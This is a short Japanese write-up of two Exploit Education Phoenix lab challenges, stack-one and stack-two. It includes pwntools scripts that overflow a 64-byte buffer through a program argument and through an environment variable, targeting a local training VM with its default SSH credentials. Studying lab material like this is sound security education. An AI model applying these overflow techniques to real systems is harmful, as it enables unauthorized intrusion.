これらの問題は非常に簡単で、データの入力方法の違いだけです。zero と同じで、上書きするデータに要件があります。
stack-one#
プログラムの最初の引数を文字列にstrcpy
します。
gdb で run の後に直接引数を指定すると、引数が渡されます。
pwntools の sh.run はバイト配列を引数として受け取ることができ、起動引数を含めることができます。(ドキュメントを見ましたが、run メソッドについては:後方互換性。system()を使用してください。)
from pwn import *
shell = ssh("user", "localhost", password="user", port=2222)
s = b"a" * 0x40 + p32(0x496c5962)
sh = shell.run(b"/opt/phoenix/amd64/stack-one " + s)
print(sh.recvlines(2))
stack-two#
今回は環境変数に書き込みます。
ここまでやってみると、環境変数に "\0" を書き込むと問題が発生することに気付きます。書き込むデータは 32 ビットである必要があり、p64 を使うべきではありません。使ってしまうと自動的に 0 が補完され、エラーが発生します。
from pwn import *
shell = ssh("user", "localhost", password="user", port=2222)
s = b"a" * 0x40 + p32(0x0d0a090a)
print(s)
s = s.decode()
print(s)
sh = shell.run(b"/opt/phoenix/amd64/stack-two", env={"ExploitEducation": s})
print(sh.recvlines(2))